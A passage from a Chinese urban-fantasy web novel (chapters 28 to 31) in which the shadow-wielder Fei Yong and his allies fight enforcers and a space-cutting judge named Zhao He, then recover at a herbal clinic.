废弃工厂的铁门被撞开时,费勇正抱着刚醒的夏艳玲往角落挪。铁皮门砸在墙上发出震耳欲聋的巨响,飞溅的铁锈渣子擦着他的脸颊飞过,留下道微痒的红痕。他低头看了眼怀里的女孩,她睫毛上还挂着没干的泪珠,怀里的布娃娃被攥得变了形,布料上的补丁在晃动的灯光下忽明忽暗。
“把暗影系异能者交出来!”为首的执法者队长嘶吼着,他左臂缠着厚厚的绷带,绷带缝隙里透出冰蓝色的霜花——正是昨晚被夏艳玲冻伤的那个。他身后跟着数十名执法者,黑色制服上的金属徽章在阴影里闪着冷光,手里的能量枪齐刷刷地对准车间中央,枪身的反光在地上投下细碎的光斑,像撒了一地碎玻璃。
风行者“啧”了一声,踩着滑板滑到最前面,银白色的影子在地面上舒展开,像条蓄势待发的银蛇。“就凭你们?”他歪着头吹了声口哨,发梢被自己带起的风吹得微微晃动,“昨晚没被冻够?”
执法者队长的脸瞬间涨成猪肝色,他猛地挥手:“给我上!抓活的!”
数十名执法者像潮水般涌上来,沉重的军靴踩在铁皮地板上,发出“咚咚”的闷响,震得费勇脚边的螺丝都在跳。夏艳玲吓得往他怀里缩了缩,布娃娃的眼睛突然亮起微弱的白光,费勇的影子像是接收到信号,顺着地面悄悄往四周蔓延,像在织一张无形的网。
“小心!”费勇还没反应过来,就见风行者突然化作道白色残影,速度快得拉出一串重影。他掠过第一个执法者身边时,只是轻轻撞了下对方的膝盖,那名执法者就像被卡车碾过似的,“嗷”一声跪倒在地,手里的能量枪飞出去老远,在地上滑出刺耳的金属声。
“这速度……”费勇看得眼皮直跳。上次在仓库只觉得风行者快,没想到实战里竟这么离谱——他像道流动的白光,在执法者队伍里穿来穿去,所过之处总有执法者捂着肚子或抱着腿倒下,动作干净利落,甚至带着点戏耍的意味。
“别光顾着看戏!”一个粗犷的声音从旁边传来。费勇转头,看见个穿工装的壮汉正站在金属架旁,他皮肤黝黑,胳膊上的肌肉虬结,手里抓着把扳手,却没直接冲上去,而是盯着地上散落的螺母螺栓。“看我的!”
壮汉猛地跺脚,地上的金属碎片突然像活过来似的,“咻咻”地飞向执法者,在他们身前织成面银光闪闪的盾牌。一名执法者的能量束打在盾牌上,“啪”地炸开一团火花,盾牌却纹丝不动,只是微微发烫,金属碎片碰撞着发出清脆的响声。
“金属操控?”费勇挑了挑眉。这异能看着不起眼,实战里倒是挺实用。
更离谱的是站在角落的短发女人。她没动,只是轻轻吹了声口哨,执法者队伍里突然响起刺耳的高频噪音,像指甲刮过玻璃。冲在最前面的几个执法者瞬间捂着头蹲下,能量枪掉了一地,表情痛苦得像是要把胆汁都吐出来。
“声波干扰。”林悦不知何时站到了费勇身边,她作战服的袖口还破着,露出的皮肤上,抑制器留下的红痕已经淡了些,“破晓的人藏得够深的。”她说话时,指尖悄悄凝聚起微弱的电流,像缠绕着几缕金色的丝线。
费勇注意到她的手还在微微发抖,不是因为害怕,而是强行调动异能的后遗症。他刚想让她别勉强,就见名执法者绕过金属盾牌,举着枪偷偷冲向风行者的后背,动作隐蔽得像只偷腥的猫。
“小心后面!”费勇和林悦同时喊出声。
风行者像是背后长了眼睛,身形猛地一矮,执法者的能量束擦着他的头皮飞过,打在后面的货架上,“轰”地炸出个大洞。还没等那执法者调整枪口,林悦已经冲了过去,脚尖在地上一蹬,借着反作用力旋身踢中他的手腕,动作干净利落,作战服的衣摆在空中划出道利落的弧线。
“咔嚓”一声,能量枪掉在地上。执法者还想反抗,林悦已经反手扣住他的胳膊,膝盖顶住他的后腰,动作标准得像教科书——这是特调科的擒拿术。“暂时……算我一个。”她低声道,声音里带着点喘,额角的汗珠顺着下颌线往下滑,滴在执法者的手背上。
费勇看得愣了愣。这还是那个对破晓充满敌意的林悦吗?她眼底的犹豫已经被决绝取代,连扣着敌人胳膊的手指都在发白,显然用了十足的力气。
“不错嘛,特调科的丫头。”风行者的声音从另一边传来,他不知何时绕到了执法者队伍后面,正用滑板顶着一个人的后脑勺,“比你那老狐狸上司强多了。”
“少废话!”林悦没好气地回了句,手上却没停,将擒住的执法者往地上一摁,“砰”地一声,对方脸朝下摔在铁皮上,疼得闷哼出声。
夏艳玲突然拽了拽费勇的衣角,小手指着左边。费勇顺着她指的方向看去,只见三名执法者正举着能量枪对准林悦,显然是想偷袭。他刚要操控影子,就见地上的金属碎片突然飞了过来,像群愤怒的黄蜂,“叮叮当当”地撞在执法者的枪上,把他们的注意力全吸引了过去。
“谢了!”林悦趁机翻身躲开,指尖的电流终于凝聚成小小的光球,砸在最近的执法者身上。那名执法者“嗷”地叫了一声,浑身抽搐着倒下,头发根根竖起,像只炸毛的鸡。
“哈哈,这造型不错!”风行者在人群里穿梭,笑声像串银铃,“再来几个给我当路标!”他的速度越来越快,带起的气流把地上的灰尘都卷了起来,形成道旋转的白色漩涡。
漩涡中心的执法者们东倒西歪,根本分不清方向,有的甚至自己人打了起来。风行者看准时机,突然加速绕着工厂跑了一圈,气流漩涡瞬间扩大,像台无形的吸尘器,把还站着的执法者全卷了进去。
“抓好了!”风行者大喊一声,猛地停下脚步。
失去离心力的执法者们像被抛射的沙包,“噼里啪啦”地摔在地上,叠成了座人堆。最上面的执法者队长挣扎着想爬起来,刚抬起头就被风行者的滑板顶住了脸:“还来吗?”
队长的脸憋成了紫色,最终还是泄了气,耷拉着脑袋不动了。
整个过程快得像场闹剧。从执法者冲进来到全体被撂倒,前后不过三分钟。费勇扶着夏艳玲站在角落,看着满地哼哼唧唧的执法者,突然觉得破晓这组织有点离谱——平时看着像群散兵游勇,打起架来竟然这么默契。
那个操控金属的壮汉正用螺母把执法者的手反绑起来,嘴里还哼着跑调的儿歌;声波女蹲在地上,给每个执法者的耳朵里塞了团棉花,大概是怕他们再听到噪音;风行者踩着滑板在人堆旁转圈,时不时用滑板尖戳戳这个,碰碰那个,像在检查战利品。
林悦靠在金属架上喘气,作战服的后背已经被冷汗湿透,贴在身上勾勒出纤细的线条。她看着费勇,眼神里有些复杂,最终还是别开脸,低声道:“算他们厉害。”
夏艳玲突然指着门口,布娃娃的眼睛亮得像两颗星星。费勇抬头,只见风行者正扛着执法者队长往这边走,队长的脸被滑板压得变了形,嘴里还在嘟囔着什么。
“这家伙说,他们只是前菜。”风行者把队长扔在地上,用脚踩着他的背,“后面还有大人物要来。”
“大人物?”费勇心里咯噔一下。
“他说……是审判长。”风行者的表情第一次变得严肃,银白色的影子在地上不安地抖动着,“而且是最麻烦的那个。”
费勇的影子突然剧烈地颤抖起来,像感应到什么可怕的存在。他低头看向自己的影子,只见它边缘的部分正在变得模糊,像被什么东西一点点吞噬。
车间里的空气瞬间变得凝重,连刚才还在哼歌的壮汉都停了下来,握紧了手里的扳手。林悦站直身体,指尖的电流重新凝聚,眼神锐利得像把出鞘的刀。
费勇将夏艳玲往身后拉了拉,感觉到她的小手在微微发抖。他深吸一口气,影子顺着地面蔓延开,像在为即将到来的风暴做准备。
第29章:空间切割线
工厂车间里的血腥味还没散尽,风行者踩着滑板在人堆旁转圈的口哨声突然卡在喉咙里。他银白色的影子像被烫到似的猛地收缩,滑板轮在铁皮地上划出半道弧线,留下刺耳的摩擦声。
“怎么了?”林悦的电流刚凝聚到指尖,就被一股突如其来的寒意冻得指尖发麻。她作战服的破袖口还在微微晃动,刚才被执法者拽出的红痕在灯光下泛着异样的白。
费勇怀里的夏艳玲突然把脸埋进他的肩窝,布娃娃的布料摩擦着他的脖颈,带来细弱的颤抖。他低头时,正看见自己的影子在地面上扭曲成奇怪的形状,边缘像被虫啃过似的斑驳——这是从未有过的现象。
“咔嚓。”
一声轻响,像冰面裂开的声音,却比那更刺耳。车间的铁门从正中间浮现出一条银线,线痕处的铁锈以肉眼可见的速度剥落,露出锃亮的金属截面。还没等众人反应过来,整扇铁门就沿着银线向两侧滑开,切口光滑得像镜面,连最细微的毛刺都没有。
风里卷着股淡淡的消毒水味,和车间里的铁锈味混在一起,形成一种令人窒息的气息。一个穿黑色风衣的***在门口,身形颀长,风衣下摆被夜风吹得轻轻扬起,露出里面深灰色的衬衫,领口系着一丝不苟的黑色领结。
他的手指苍白得近乎透明,指尖悬在半空,刚才那道切割铁门的银线正围绕着他的指尖旋转,像条温顺的蛇。“风行者,”他开口时,声音像冰块撞在金属上,脆生生的,却带着刺骨的寒意,“三年不见,你的速度还是这么上不了台面。”
风行者的脸色瞬间沉了下来,滑板在地面上碾出个浅坑:“空间切割……赵鹤,判官居然舍得把你派出来。”他说话时,银白色的影子在地面上绷紧,像拉满的弓弦。
被称为赵鹤的审判长轻笑一声,指尖的银线突然暴涨,像道闪电射向风行者脚边的铁皮地。“嗤”的一声,地面上出现一道半米长的裂缝,边缘光滑得能映出人影,裂缝里还在隐隐冒着空间扭曲的黑烟。
“你看,”赵鹤收回手,银线在他指间绕了个圈,“你的速度再快,能快过空间的裂痕吗?”
费勇的心脏猛地一缩。他能感觉到那道裂缝里散发出的恐怖力量,像是能把一切物质都撕成原子。他怀里的夏艳玲抖得更厉害了,布娃娃的眼睛亮得发蓝,投射在地上的影子边缘凝结出细小的冰粒——这是她恐惧情绪的具象化。
“别光顾着耍嘴皮子。”林悦突然向前一步,指尖的电流“滋滋”作响,在空气中拉出金色的丝线,“裁决会的走狗,都是这副装腔作势的德行?”
赵鹤的目光扫过她,像手术刀一样冰冷:“林警官?你父亲当年就是死在这招下,要不要试试?”他说着,指尖的银线突然转向,擦着林悦的耳边飞过,击中她身后的金属货架。
“哐当!”
半吨重的货架像被刀切的蛋糕,从中间断成两截,切口处甚至能看到整齐的金属分子排列。断裂的货架砸在地上,溅起的碎片擦过林悦的脸颊,在她下巴上留下道血痕。
“你找死!”林悦的眼睛瞬间红了,电流在她掌心凝聚成篮球大小的光球,噼啪作响的电弧把她的碎发都染成了金色。
“别冲动!”费勇一把拉住她的手腕。他能感觉到赵鹤的影子在地面上铺开,像块黑色的绸缎,而那些致命的银线,就藏在影子的褶皱里。
赵鹤的嘴角勾起抹残忍的笑:“怎么?暗影系的小鬼不敢出来?”他突然抬手,数道银线从不同方向射向费勇,角度刁钻得避无可避。
“影盾!”费勇低喝一声,影子瞬间在身前凝聚成半米厚的盾牌,黑色的盾面上流淌着暗金色的纹路——这是他吸收了夏艳玲情绪能量后的新变化。
“嗤嗤嗤!”
银线撞上影盾,发出刺耳的声响。费勇感觉手臂像被重锤砸中,震得发麻,影盾表面浮现出细密的裂痕,像即将破碎的玻璃。他这才明白,风行者刚才为什么会露出那种凝重的表情——这空间切割,竟然能伤到暗影能量凝聚的实体!
“破!”赵鹤轻喝一声,银线突然暴涨。
“咔嚓!”影盾碎成无数黑色的光点,费勇被冲击力掀得后退三步,后背撞在金属架上,疼得闷哼出声。怀里的夏艳玲吓得尖叫起来,布娃娃爆发出刺眼的白光,她的影子突然膨胀,在费勇身前凝结出厚厚的冰墙。
“有意思。”赵鹤挑眉,指尖的银线转向冰墙,“情绪具象化?倒是个稀罕的能力。”
银线穿过冰墙的瞬间,费勇突然发现了不对劲——冰墙没有断裂,而是像被橡皮擦抹过似的,直接消失了一块。被银线接触过的地方,连空气都在微微扭曲。
“那不是切割,是空间湮灭!”风行者的声音带着前所未有的凝重,他银白色的影子突然化作道流光,撞向赵鹤的侧面,“费勇,带她们走!”
赵鹤不闪不避,只是侧了侧身,一道银线擦着风行者的衣角飞过。风行者的速度明明快到出现重影,却还是被银线切下了一小块布料,布料飘到半空就化作了粉尘。
“速度再快,也跑不出空间的范围。”赵鹤冷笑,指尖的银线越来越密,像张透明的网,把整个车间都笼罩在内。
费勇的影子突然剧烈地颤抖起来,他低头看去,只见自己的影子正在被地面上的裂缝一点点吞噬。那种感觉很奇怪,不是疼痛,而是像灵魂被撕扯的空虚。
“小心!”夏艳玲突然抬起头,小手指着费勇的斜后方。
费勇猛地转头,只见一道银线正悄无声息地袭来,目标不是他,而是躲在他身后的夏艳玲!那道银线隐藏在金属架的阴影里,几乎和影子融为一体,若非夏艳玲对危险的直觉异于常人,根本发现不了。
没时间多想,费勇抱着夏艳玲猛地向侧面扑去。银线擦着他的胳膊飞过,带起一阵刺骨的寒意。
“呃!”费勇感觉手臂像是被扔进了碎冰机,剧痛沿着神经瞬间传遍全身。他低头看向伤口,只见一道细细的血痕正从胳膊上蔓延开,血痕周围的皮肤呈现出诡异的灰黑色,像是被什么东西腐蚀着。
更可怕的是,他能感觉到伤口处的暗影能量正在快速流失,像被个无形的黑洞吸走。
“费勇!”林悦的电流突然爆发,金色的电弧像条愤怒的蛇,缠住了赵鹤的手腕。她作战服的衣摆被气流掀起,露出腰间别着的特调科徽章,此刻却在电弧的映照下泛着决绝的光。
赵鹤被电流逼得后退半步,指尖的银线出现了瞬间的紊乱。“碍事。”他皱眉,另一只手甩出银线,直取林悦的咽喉。
“就是现在!”风行者的声音炸响,银白色的影子突然在赵鹤身后凝聚成形,他手里不知何时多了根金属钢管,带着破空声砸向赵鹤的后脑勺。
赵鹤的反应快得惊人,身体像纸鸢似的向侧面飘开,钢管砸在地上,发出震耳欲聋的巨响。但他避开的瞬间,银线的网出现了破绽。
“走!”费勇咬着牙,忍着手臂的剧痛,操控影子缠住林悦的腰,将她往车间后门拽。夏艳玲的布娃娃不知何时飞到了他的影子里,白光顺着影子流淌,竟暂时压制住了伤口的恶化。
风行者见他们开始撤退,也不再恋战,滑板在地上一蹬,化作道白光掩护他们。“赵鹤,下次见面,我拆了你这破空间!”
赵鹤站在原地没追,只是看着他们消失在后门,指尖的银线慢慢消散。他低头看向自己的影子,那里残留着一丝淡淡的黑色能量——是费勇刚才影盾破碎时沾上的。
“暗影本源……”他嘴角勾起抹意味深长的笑,“判官大人,这次的猎物,有点意思。”
车间后门,费勇靠在墙上大口喘气,手臂的伤口还在隐隐作痛,那种空间撕裂般的感觉,像是刻进了骨头里。林悦正用急救包给他包扎,手指触到伤口时,他忍不住瑟缩了一下。
“忍忍。”林悦的声音难得放柔了些,指尖的电流小心翼翼地探入伤口,试图中和那股空间能量,“这伤很奇怪,细胞像是被强行分开了。”
夏艳玲蹲在旁边,小手轻轻摸着费勇的影子,布娃娃的白光一点点渗进影子里。费勇能感觉到,她的情绪像温水一样包裹着他——担忧是浅蓝,心疼是粉红,还有一丝不易察觉的……共鸣。
风行者靠在后门上,滑板被他踩得咯吱响:“赵鹤是三个审判长里最麻烦的,空间切割几乎无解。”他抬头看向费勇的伤口,眉头皱得很紧,“这伤普通治疗没用,得找专业人士。”
“专业人士?”费勇忍着痛问。
“青禾堂,苏清月。”风行者的语气很肯定,“她的生命绿藤,或许能修复空间损伤。”
费勇的影子突然动了动,伤口处的灰黑色似乎淡了些。他低头看去,只见夏艳玲的影子正和他的影子紧紧缠在一起,布娃娃的白光在里面流动,像条治愈的小溪。
他突然想起夏艳玲之前说的话——你的影子在哭。现在,他的影子好像在被温柔地安抚着。
“走吧。”林悦包扎好伤口,站起身,作战服的破口被她用别针别住了,“去青禾堂。”
费勇点点头,扶着墙站起来。手臂的疼痛还在,但心里却安定了些。他看了眼夏艳玲,她正仰着头看他,眼睛亮得像星星,布娃娃的影子在地上轻轻蹭着他的影子,像在撒娇。
或许,这空间切割的伤,真的有办法治。
第30章:影子的串联
青禾堂的木门被推开时,药草的清香扑面而来,混着淡淡的消毒水味,比工厂的铁锈味好闻百倍。费勇扶着门框喘了口气,手臂上的伤口又开始隐隐作痛,那种空间撕裂的空虚感像只小虫子,顺着血管往心脏爬。
“小心点。”林悦扶了他一把,作战服上别着的别针蹭到他的胳膊,冰凉的金属触感让他打了个激灵。她的眉头一直没松开,盯着他伤口处渗出的灰黑色血迹,指尖的电流蠢蠢欲动,却又怕加重伤势不敢贸然出手。
夏艳玲跟在后面,怀里的布娃娃不知何时沾了片艾草叶,绿色的叶片贴在褪色的布料上,像块突兀的补丁。她走到费勇身边,小手轻轻拉住他没受伤的那只手,掌心的温度透过皮肤传过来,带着让人安心的暖意。
“苏医生在吗?”林悦的声音打破了堂内的安静。
里屋传来轻微的响动,接着是脚步声。苏清月穿着件浅绿色的褂子,袖口卷到小臂,露出白皙的手腕,上面沾着点墨绿色的药膏。她看到费勇胳膊上的伤时,原本温和的眼神瞬间绷紧,快步走过来:“这是……空间噬痕?”
她的指尖轻轻拂过伤口边缘,动作轻柔得像触碰易碎的瓷器。费勇感觉伤口处传来一阵清凉,那只“小虫子”似的空虚感竟暂时退了下去。苏清月的指尖泛着淡淡的绿光,药草架上的几盆常春藤突然轻轻摇晃,叶片转向费勇的方向,像在好奇地打量。
“裁决会审判长的空间切割。”费勇忍着痛说,视线落在苏清月褂子第二颗纽扣上——那是颗用桃木做的扣子,上面刻着细小的藤蔓花纹。
苏清月点点头,转身从药柜里取出个青瓷碗,里面盛着墨绿色的药膏,散发着浓郁的薄荷味。“先敷上这个稳住。”她说话时,指尖的绿光更亮了些,药草架上的常春藤突然抽出新叶,嫩绿色的卷须顺着架子往下爬,像在编织一张绿色的网。
费勇看着那些藤蔓,突然觉得手臂上的影子有些发痒。他低头看去,只见自己的影子正在地面上慢慢舒展,边缘像水波纹似的轻轻晃动,碰到常春藤的影子时,竟像被磁铁吸住似的粘了上去。
“嗯?”费勇愣住了。
苏清月也发现了异常,手里的青瓷碗停在半空。她看着费勇的影子与常春藤的影子缠绕在一起,黑色的暗影能量顺着藤蔓的影子流淌,像注入了新的活力,原本斑驳的边缘渐渐变得平滑。
“这是……”她的眼睛微微睁大,长长的睫毛在眼下投出浅浅的阴影,“你的影子在吸收植物的生命能量?”
话音刚落,费勇突然感觉手臂上的疼痛减轻了大半。他低头看去,伤口处的灰黑色正在消退,而他的影子已经顺着地面蔓延开,不仅缠着常春藤的影子,还悄悄勾住了药柜、桌椅甚至林悦的影子,像在编织一张巨大的黑色的网络。
“怎么回事?”林悦惊讶地看着自己的影子被费勇的影子缠住,却没感觉到任何不适,反而有种奇妙的连接感,仿佛能透过影子感受到费勇的情绪——有忍痛的隐忍,有对未知的疑惑,还有一丝……兴奋?
“影子本就是一体。”一个苍老的声音从里屋传来。秦伯拄着拐杖走出来,他的影子在地面上拉得很长,与费勇的影子碰到一起时,竟发出细微的嗡鸣。“空间切割撕裂的不仅是肉体,还有暗影能量的连接。现在它们在自己找补呢。”
费勇集中精神,试着感受那些连接的影子。他“看”到常春藤的影子里流淌着生机勃勃的绿色能量,林悦的影子里跳跃着金色的电流,甚至秦伯的影子里,都藏着股沉静如古潭的力量。这些能量顺着影子的连接,一点点汇入他的影子里,再流遍全身。
“原来如此……”费勇恍然大悟。之前他操控影子,总把它们当成独立的个体,却没想过影子本就是整个空间的一部分,就像空气和水一样,本就相互连接。
就在这时,门外突然传来破空声!
“小心!”林悦的反应最快,电流瞬间爆发,金色的电弧在门口织成一张网。
“嗤啦!”一道透明的银线撞在电网上,发出刺耳的响声。赵鹤的身影出现在门口,黑色风衣被风吹得猎猎作响,指尖的银线比刚才更密了,像把张开的扇子。“跑得了和尚跑不了庙。”他冷笑,银线再次暴涨,这次的目标是整个青禾堂,“今天把你们全埋在这。”
苏清月脸色一变,挥手让常春藤的卷须缠住屋顶的横梁:“快躲起来!”
但已经来不及了。银线像暴雨般落下,切割着空气,发出尖锐的呼啸。费勇能感觉到自己刚连接起来的影子网络在颤抖,仿佛随时会被撕裂。
“就是现在!”秦伯突然大喝一声,拐杖在地上一顿。
青禾堂的地面突然裂开,无数藤蔓从地下钻出,瞬间织成道绿色的墙。但银线穿过藤蔓墙时,那些坚韧的藤蔓像泡沫般消失了,连点痕迹都没留下。
“没用的。”赵鹤的声音带着残忍的笑意。
费勇的心脏猛地一跳,脑海里闪过秦伯刚才的话——影子本就是一体。他突然福至心灵,集中所有精神,将连接着的影子网络猛地收紧!
“嗡——”
黑色的影子网络瞬间覆盖整个青禾堂,所有物体的影子都被串联起来,形成一张密不透风的黑网。当银线撞上黑网时,发出沉闷的响声,虽然撕裂出几个小洞,但周围的影子立刻涌过来填补,像潮水般生生不息。
“不可能!”赵鹤的脸色第一次变了,指尖的银线出现了瞬间的紊乱,“暗影能量怎么可能抵挡空间切割?”
费勇没功夫回答他。他能感觉到影子网络传来的压力,像扛着座不断晃动的山。但更奇妙的是,他能通过网络“看”到赵鹤的每个动作——他的银线从指尖发出时,影子里会出现一丝微弱的波动,这就是破绽!
“林悦!左边!”费勇突然大喊,同时操控影子网络猛地向左倾斜。
林悦几乎是本能地反应,凝聚出的雷矛带着破空声掷向赵鹤左侧。赵鹤被迫侧身躲避,银线的攻击出现了刹那的停顿。
“就是现在!”费勇低喝一声,将自己融入影子网络。
他感觉自己化作了一道黑色的流光,顺着网络中最快的路径穿梭,瞬间出现在赵鹤身后。在穿过林悦影子的瞬间,他复制了她的雷霆异能,金色的电流顺着他的指尖喷涌而出,狠狠砸在赵鹤的后背上。
“呃!”赵鹤疼得闷哼一声,身体向前踉跄了几步,指尖的银线彻底乱了套,有的切向屋顶,有的扎进地面,在青禾堂的木地板上留下一个个冒着黑烟的小洞。
“该我们了!”风行者的声音突然从门外传来,他不知何时绕到了赵鹤身后,银白色的影子化作道白光,带着破空声撞向赵鹤的后腰。
赵鹤被前后夹击,身体像断线的风筝般飞了出去,撞在青禾堂的木门上,发出震耳欲聋的响声。门被撞出个大洞,他的身影瞬间消失在夜色里,只留下句阴冷的话:“下次,我会连影子一起撕碎。”
青禾堂里一片狼藉。费勇解除了影子网络,瘫坐在地上大口喘气,手臂上的伤口又开始流血,但这次不再是灰黑色,而是正常的红色。林悦拄着膝盖喘着气,额角的汗珠滴在地上,砸出小小的湿痕。苏清月正在检查被银线切出的小洞,眉头紧锁。
夏艳玲跑到费勇身边,把布娃娃塞进他手里,布娃娃的白光在他掌心闪了闪,伤口的疼痛又减轻了些。“不疼了。”她小声说,眼睛亮晶晶地看着他,像在说“你好厉害”。
费勇笑了笑,揉了揉她的头发。刚才那一瞬间的配合,虽然仓促,却有种说不出的默契——他的影子网络防御,林悦的雷霆攻击,风行者的超音速撞击,像齿轮一样严丝合缝。
“空间切割也不是无解。”风行者踩着滑板滑进门,银白色的影子在地上打了个转,“只要找到破绽,照样能揍得他满地找牙。”
苏清月走过来,递给费勇一包刚捣好的药膏:“你的影子网络很特别,竟然能暂时稳定空间能量。”她的目光落在他的影子上,若有所思,“但这种能力消耗很大吧?”
费勇点点头,确实感觉浑身酸软,像被抽走了一半力气。他看着自己的影子,发现边缘多了些淡淡的金色纹路,和夏艳玲布娃娃上的白光很像。
“这伤还没好透。”林悦蹲下来,用干净的布蘸了点清水,小心翼翼地擦去他伤口周围的血迹,“空间能量还残留在里面,得彻底清除才行。”
秦伯拄着拐杖走过来,看着地上那些冒着黑烟的小洞,叹了口气:“赵鹤的空间切割一年比一年强,这背后肯定有问题。”他看向费勇,“你刚才用的影子串联,是‘暗影本源’的能力吧?”
费勇愣住了:“暗影本源?”
秦伯点点头,眼神变得深邃:“十年前那场觉醒潮,就和这有关。”他刚想说什么,突然咳嗽起来,摆摆手,“先养伤吧,有些事,急不来。”
费勇看着自己的影子,那些金色的纹路正在慢慢消退,但他能感觉到,有什么东西不一样了。影子里仿佛多了条连接世界的线,只要他想,就能抓住无数影子的手,编织出更强大的网络。
夏艳玲突然指着门外,布娃娃的眼睛亮了起来。费勇顺着她指的方向看去,只见赵鹤消失的地方,地面上留着一道细细的银线,像条毒蛇,在月光下闪着冷光。
他知道,这不是结束。
第31章:影子的刺痛
后半夜的月光透过青禾堂的窗棂,在地板上投下细碎的光斑,像撒了把碎银子。费勇躺在临时搭起的木板床上,翻了个身,左臂的伤口突然传来一阵尖锐的刺痛,像有根烧红的针正往骨头里钻。
他猛地睁开眼,额头上瞬间沁出一层冷汗。月光下,手臂上缠着的纱布已经被渗出的血浸湿,隐隐透出诡异的灰黑色。更让他心惊的是,床单上的影子正在不安地扭动,边缘像被火燎过似的蜷曲着,每一次刺痛传来,影子就会剧烈收缩一下,仿佛在替他承受痛苦。
“嘶……”费勇咬着牙坐起身,想揭开纱布看看伤口,指尖刚碰到纱布边缘,就被烫得缩回手——纱布上竟然带着空间切割残留的寒意,冻得指尖发麻。
隔壁房间突然传来轻微的响动,接着是脚步声。林悦穿着件借来的浅蓝色棉布睡衣,头发随意地扎在脑后,露出光洁的额头。她手里端着杯温水,看到费勇坐起身,眉头立刻皱了起来:“又疼了?”
费勇点点头,没力气说话。刺痛还在持续,像无数根细针在同时扎刺,伤口周围的皮肤已经泛起不正常的青紫色,连带着整条胳膊都开始发麻。
林悦把水杯放在床头的小桌上,伸手想碰他的伤口,又怕加重疼痛,手在半空中停了停,最终还是收了回去。她的指尖萦绕着微弱的电流,金色的电弧在月光下闪闪烁烁,像只焦躁的小虫子。“苏清月说这是空间能量在侵蚀肌体,普通药物压不住。”她的声音有点哑,大概是刚睡醒,“要不要试试电流刺激?或许能逼出点能量。”
费勇犹豫了一下。之前在工厂,林悦的电流确实短暂压制过伤口的恶化,但那种电流穿过伤口的剧痛,他可不想再体验一次。他低头看向自己的影子,发现它正紧紧贴着伤口的位置,像块黑色的膏药,灰黑色的血迹渗到影子里,竟让影子泛起了点点银光。
“试试吧。”费勇最终还是点了头。总比被这无休止的刺痛折磨到天亮强。
林悦深吸一口气,指尖的电流慢慢凝聚,这次的电流比之前柔和了许多,金色的电弧像细细的丝线,小心翼翼地触碰到纱布上的血迹。“疼就说一声。”她的眼神很专注,长长的睫毛在眼睑下投出浅浅的阴影,睡衣的领口有点松,露出一小片白皙的锁骨,和她平时干练的样子判若两人。
电流刚接触到伤口,费勇就倒吸了一口凉气。不是单纯的疼,而是像有冰和火在伤口里交战,空间能量的寒意和电流的灼热混在一起,激得他浑身打了个哆嗦。他死死攥着床单,指节因为用力而发白,床单上的褶皱里,他的影子突然剧烈地翻滚起来。
“快看!”林悦突然低呼一声。
费勇低头看去,只见他的影子像活过来似的,猛地收缩成一团,将伤口周围的皮肤紧紧包裹住。那些灰黑色的血迹被影子一点点吸了进去,原本泛着银光的影子变得越来越暗,甚至隐隐透出红光,像在燃烧。
“这是……”费勇惊讶地睁大了眼睛。他能感觉到影子里传来一股强大的吸力,不仅吸走了皮肤上的血迹,连伤口里那只“小虫子”似的空间能量,也被一点点拽了出去。刺痛感以肉眼可见的速度减轻,取而代之的是一种暖暖的感觉,从影子里传遍全身。
林悦的手停在半空,电流渐渐消散。她看着费勇的影子吞噬掉最后一点灰黑色,原本蜷曲的边缘慢慢舒展开,重新变得平滑,只是颜色比之前深了许多,像被墨染过。“你的影子……在自我修复?”她的声音里满是不可思议,眼睛瞪得圆圆的,像只受惊的猫。
费勇活动了一下胳膊,虽然还有点酸软,但那种钻心的刺痛已经消失了。他抬手揭开纱布,伤口处的皮肤已经结痂,原本青紫色的边缘变得红润起来,只有痂皮的中心还留着一道浅浅的银线,像被月光吻过的痕迹。
“好像真的好了点。”他松了口气,后背已经被冷汗湿透,贴在身上有点不舒服。
就在这时,费勇的影子突然剧烈地晃动起来,像平静的水面被投入了石子。他的脑海里猛地闪过一段模糊的画面——
那是个雨夜,天空黑得像泼了墨,几道闪电划破夜空,照亮了一片废墟。废墟中央有个巨大的石阵,七块黑色的石头围成一个圆圈,石头上刻着金色的纹路,正在慢慢消退。石阵中间站着个穿黑色风衣的男人,他的背对着费勇,身形很高大,风衣的下摆被雨水打湿,贴在腿上。
突然,男人的影子开始扭曲,无数道透明的银线从地下钻出,像毒蛇般缠绕住他的影子。男人猛地回头,费勇看不清他的脸,只看到一双眼睛,亮得像星星,带着决绝的光芒。他抬起手,似乎想做什么,但已经来不及了——银线突然收紧,男人的影子像被撕碎的纸,化作无数黑色的光点,消散在雨里。
“不!”费勇猛地从床上弹坐起来,大口大口地喘着气,额头上的冷汗像断了线的珠子往下掉。
“怎么了?”林悦被他吓了一跳,连忙扶住他的肩膀,掌心的温度透过睡衣传过来,带着让人安心的力量,“做噩梦了?”
费勇摇摇头,又点点头。那画面太真实了,真实得不像梦。穿风衣的男人,破碎的影子,还有那些和赵鹤一模一样的银线……这到底是什么?
他低头看向自己的影子,影子已经恢复了平静,静静地躺在地板上,只是中心那道银线般的痕迹,和画面里石阵上的金色纹路隐隐有些相似。一个模糊的念头在他脑海里闪过——那个男人,会不会和他的父母有关?和十年前的觉醒潮有关?
“你脸色好差。”林悦递过刚才那杯温水,“喝点水缓缓。”
费勇接过水杯,指尖碰到杯壁的凉意,才慢慢回过神来。他喝了口温水,温热的液体流过喉咙,稍微驱散了些脑海里的寒意。“我刚才看到……十年前的事。”他声音有点沙哑,“一个男人的影子,被空间切割撕碎了。”
林悦的动作顿了一下,眼神瞬间变得凝重起来。“十年前?”她的声音压得很低,“和我父亲牺牲的时间差不多。”
费勇愣住了:“你父亲也是……”
“嗯。”林悦点点头,目光落在窗外的月光上,眼神有点飘忽,“特调科的档案里说,他在处理一场异能暴走事件时牺牲了,但具体怎么死的,档案里写得很模糊。我一直怀疑和裁决会有关,今天看到赵鹤的空间切割,才有点确定……”
她的声音越来越低,最后几个字几乎听不清。费勇看着她紧抿的嘴唇,突然觉得这个平时总是炸毛的女警,其实也藏着很多不为人知的心事。
就在这时,门外传来风行者吊儿郎当的声音:“我说你们俩大半夜不睡觉,在房间里干嘛呢?”
门被推开,风行者穿着件印着骷髅头的黑色T恤,头发睡得乱糟糟的,银白色的影子在他身后拖得长长的,像条没睡醒的蛇。他看到费勇胳膊上的伤口,挑了挑眉:“空间噬痕还没彻底清干净?”
“什么空间噬痕?”费勇不解地问。
“就是赵鹤那招空间切割留下的后遗症。”风行者走到床边,蹲下来仔细看了看费勇的伤口,眉头皱了起来,“你这影子修复看着厉害,但没彻底解决问题。空间能量已经钻进你的肌理了,就像树藤缠上了木头,时间长了会慢慢侵蚀你的异能核心。”
林悦的脸色瞬间变了:“那怎么办?苏清月的药膏也没用吗?”
